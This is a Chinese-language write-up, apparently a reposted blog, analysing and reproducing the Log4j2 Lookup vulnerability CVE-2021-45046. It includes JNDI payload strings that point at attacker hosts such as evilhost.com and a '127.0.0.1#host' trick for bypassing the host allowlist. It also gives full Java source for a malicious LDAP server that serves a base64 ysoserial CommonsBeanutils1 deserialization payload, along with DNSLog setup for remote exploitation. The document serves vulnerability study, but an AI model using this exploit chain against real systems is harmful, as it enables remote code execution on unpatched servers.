Apache Log4j2 Lookup 代码执行与拒绝服务漏洞(CVE-2021-45046)
0x01 漏洞简介
Apache Log4j 2 是一个开源的日志记录组件,是 Apache Log4j 的升级版,它可以控制每一条日志的输出格式,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
继2021年12月9日被曝存在严重代码执行漏洞(CVE-2021-44228)后,Apache Log4j 官方近日又披露了另外一个远程执行漏洞(CVE-2021-45046),漏洞风险已从之前的CVSS 3.7分上升到CVSS 9.0分,该漏洞与非默认配置下对CVE-2021-44228修复措施不完善有关,在线程上下文查找模式的某些非默认配置中,攻击者可以构造特定请求,实现远程代码执行。
0x02 影响版本
2.0-beta9 =< Apache Log4j 2.x < 2.16.0(2.12.2 版本不受影响)
0x03 环境搭建
搭建运行环境:docker run -d -P lehend/log4j2-cve-2021-45046
0x04 漏洞分析
2.15.0之前版本的漏洞的基本原理和解决步骤 ,根据之前分析,可知原来的漏洞流程大致如下:
3、log4j2解析其中的ldap,于是执行lookup操作
4、触发java的ldap的lookup功能,最终远程指令或者本地存在风险的类被执行。
在CVE-2021-44228漏洞的sink处,也就是JndiManager#lookup()方法中,进行了以下安全校验:
(1) allowedProtocols:只允许协议java、ldap、ldaps;
(2) allowedHosts:只允许主机为本机IP127.0.0.1、localhost等。
(3) allowedClasses:LDAP服务器的返回包中javaClassName只允许为基本数据类型的类,比如java.lang.Boolean、java.lang.Byte、java.lang.Short等等。(其实这个限制意义不大,后面会说)。
(4) 不能加载远程ObjectFactory类。
既然如此,想要在2.15.0版本上实现RCE,就必须得解决或绕过上面的两大点限制。
可触发lookup功能的其它方式
这里以Context Map Lookup为例进行说明。
Context Map Lookup 允许应用程序将数据存储在Log4j2的线程上下文集合中,当调用logger.error(“xxx”)方法时便会在读取log4j2配置文件时从线程上下文集合中检索需要的值。
#测试代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
public class Test {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Test.class);
ThreadContext.put("myContext", "${jndi:ldap://127.0.0.1#192.168.237.130:1389/Exploitwin}");
logger.error("1111");
}
}
```xml
#/resource/log4j2.xml配置文件
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d %p %c{1.} [%t] ${ctx:loginId} %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="error">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
```xml
#pom.xml
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
</dependencies>
在Log4j2中,我们在配置日志格式的时候,通过需要配置变量来打印日志时间、打印线程ID等。
如上图,其中的ctx前缀表示从线程上下文获取参数api版本信息。当我们在代码执行的时候,将该变量set到ThreadContext中后,该变量就会打印到日志中。
这个功能看似很正常,但是却存在一个问题。即:它支持对其配置内容进行lookup,且其和消息的Lookup完全是两个分支。在继续介绍之前,我们需要简单了解下,Log4j2对日志规则中的变量的处理逻辑。
1、首先在日志规则中做如下配置。表示日志中需要打印线程上下文中的变量apiVersion对应的值。
2、在代码请求的位置设置apiVersion=${jndi:ldap://localhost:9999/Test}
3、当打印日志的时候,log4j2会解析日志规则。并使用 LiteralPatternConverter类解析
t
x
:
a
p
i
V
e
r
s
i
o
n
,
将
其
解
析
成
ctx:apiVersion,将其解析成{jndi:ldap://localhost:9999/Test}
4、解析完成后,发现其还存在${}占位符,于是继续对齐进行解析。判断为ldap
5、于是调用JndiManager执行底层ldap的lookup逻辑。从而触发恶意代码执行。
可以看到其和2.15.0版本中的消息处理逻辑很相似。唯一不同的是:
1、该LiteralPatternConverter中默认就允许执行lookup操作。
2、LiteralPatternConverter解析后得到的字符串用于替换${ctx:xxx}所占的位置,最终随日志一起打印。
既然能触发Lookup功能了,那么如果存入Context Map中的值如果是来自外部的输入,就存在被RCE攻击的风险。比如往Context Map中存入用于jndi查询的字串:${jndi:ldap://evilhost.com:8085/a},则在检索的时候便会触发JNDI Lookup。绕过Host白名单限制+反序列化Gadget在本地环境实现RCE,前面提到了在2.15.0版本的JndiManager#lookup()方法增加的安全校验:
- 协议白名单:java、ldap、ldaps;
- 主机白名单:本机IP127.0.0.1、localhost等。
- javaClassName白名单比如java.lang.Boolean、java.lang.Byte、java.lang.Short等等。
- 不能加载远程ObjectFactory类。
因此,我们只能使用ldap协议进行JNDI注入。
至于主机白名单,这里使用Java的一个trick进行绕过,ldap://127.0.0.1#evilhost.com
当**URI#getHost()**方法遇到这样的url时,会取#前面,协议://后面的部分作为url的Host.
至于javaClassName这个属性,这个属性的值是从LDAP服务器返回的数据里取的,而且这个属性的值对于后续的漏洞利用毫无影响,只要修改一下LDAP服务端的代码,将该值的属性改为满足log4j2中要求的值即可。
还有最后一个限制,不允许加载远程ObjectFactory类,代码如下:
如上图代码所示,既然不允许加载远程ObjectFactory类,那我们就修改LDAP服务器,让其返回序列化数据,这样,代码还是会走到最后的this.context.lookup()。让LDAP服务返回恶意的Java序列化数据,在目标服务JNDI lookup的过程中,如果目标环境classpath中包含了可利用的反序列化Gadget,便可实现 RCE。
所以这里实现RCE的另一个条件就是目标环境中存在可被利用的Java反序列化Gadget。
这里为了测试,我在目标环境中添加了commons–beanutils:1.9.4,目的就是为了利用ysoserial中CommonsBeanutils1这条反序列化Gadget。
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.4</version>
</dependency>
LDAP目录服务,除了可以存储JNDI Reference对象,还可以存储Java序列化对象。所以我们的LDAP Server可以返回恶意的序列化对象给目标程序,触发本地的反序列化Gadget来实现RCE。
下面红框内的代码,表示目标程序对LDAP Serverlookup()查询操作时,解码对象的过程中,如果发现LDAP Server返回的是一段Java序列化的数据,则进行Java反序列化操作。
所以可以在marshalsec项目的LDAPRefServer的基础上,创建新的LDAP Server类,使用ysoserial根据环境生成base64代码java -jar ysoserial-all.jar CommonsBeanutils1 'calc'|base64 -w 0
,我在目标环境中添加了commons-beanutils:1.9.4,目的就是为了利用ysoserial中CommonsBeanutils1这条反序列化Gadget。
并将要返回给客户端的javaClassName的值指定为java.lang.String。
package marshalsec.jndi;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#exploit1";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
//并将要返回给客户端的javaClassName的值指定为java.lang.String。
e.addAttribute("javaClassName", "java.lang.String");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
//低版本JDK
/* e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());*/
//高版本JDK,这里放的是生成的ysoserial命令
//java -jar ysoserial-all.jar CommonsBeanutils1 'calc'|base64 -w 0
e.addAttribute("javaSerializedData", Base64.getDecoder().decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABpbK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAEY2FsYwgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHHlzb3NlcmlhbC9Qd25lcjg1OTk1NjcxNDAwNzYBAB5MeXNvc2VyaWFsL1B3bmVyODU5OTU2NzE0MDA3NjsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA=="));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
0x05 漏洞复现
该漏洞相对CVE-2021-44228比较鸡肋,存在以下前提条件。
1、配置文件的模板里的参数,可以通过外部输入去控制。
2、目标环境需要存在反序列化利用链。
3、利用的时候,需要创建你的dnslog平台,使得对 127.0.0.1#dnslog.evilhost 这样的域名发起DNS请求时,能返回LDAP服务器的IP地址。
因为有以下限制,如果在本地复现的话,可以直接在本地开启ldap服务,并使用直接返回反序列化数据的方式进行漏洞的复现,
(1) allowedProtocols:只允许协议java、ldap、ldaps;
(2) allowedHosts:只允许主机为本机IP127.0.0.1、localhost等。
(3) allowedClasses:LDAP服务器的返回包中javaClassName只允许为基本数据类型的类,比如java.lang.Boolean、java.lang.Byte、java.lang.Short等等。(其实这个限制意义不大,后面会说)。
(4) 不能加载远程ObjectFactory类。
既然公共的DNSLog平台能在捕获DNS日志的同时指定返回一个固定的IP。那我们是否可以自己创建一个DNSLog平台,并指定返回一个公网服务器IP,且服务器上部署了我们的恶意LDAP服务器。
使用一个可用作DNSLog的程序knary:https://github.com/sudosammy/knary。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7OH9AGiv-1670908301367)(Apache Log4j2 Lookup 代码执行与拒绝服务漏洞(CVE-2021-45046)].assets/image-20221118102439137.png)
如上图,前面三条(1条A记录和两条NS记录)为了能通过互联网正常解析域名xxxx.xyz。
然后,我将dns.xxxx.xyz作为我的DNSLog平台主机的域名。其NS记录为ns1.xxxx.xyz 表示用ns1.xxxx.xyz这个Name Server来解析dns.xxxx.xyz这个域名。然后创建A记录ns1.xxxx.xyz <-> 1.1.1.1 ,让ns1.xxxx.xyz映射到公网IP1.1.1.1。这两条配置是为了让公网的1.1.1.1的DNSLog服务去处理域名dns.xxxx.xyz及其子域的DNS请求。(注:DNSLog服务,其实也是一种DNS服务,默认开放的也是UDP的53端口)
域名配置好后,接着就是在服务器1.1.1.1上配置knary
DNS=true
HTTP=true
BIND_ADDR=0.0.0.0
CANARY_DOMAIN=dns.xxxx.xyz
LARK_WEBHOOK=https://open.feishu.cn/open-apis/bot/v2/hook/<access_token>
EXT_IP=1.1.1.1
DEBUG=true
CANARY_DOMAIN指定为你要记录DNS日志的域名;
DNS和HTTP为true,表示会记录对*.dns.xxxx.xyz域名的DNS请求和HTTP请求;
*_WEBHOOK:knary支持多个webhook服务。这里我配置为飞书的。简单点说,就是配置这个后,可以将对*.dns.xxxx.xyz域名的DNS请求和HTTP请求记录,通过飞书bot机器人推送给你。
EXT_IP:这个很关键,当对*.dns.xxxx.xyz域名或其子域发送DNS请求时,应答给请求方的IP地址。这里当然就是配置为我的公网IP1.1.1.1。
DEBUG:true表示启用调试,这会在控制台打印一些调试信息。
一切就绪后,启动knary服务。现在可以测试RCE了。在服务器上,使用marshalsec启动可返回恶意序列化数据的LDAP服务
参考链接
https://blog.csdn.net/mole_exp/article/details/122037039
原文地址:https://blog.csdn.net/weixin_44047654/article/details/128300416
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_45128.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!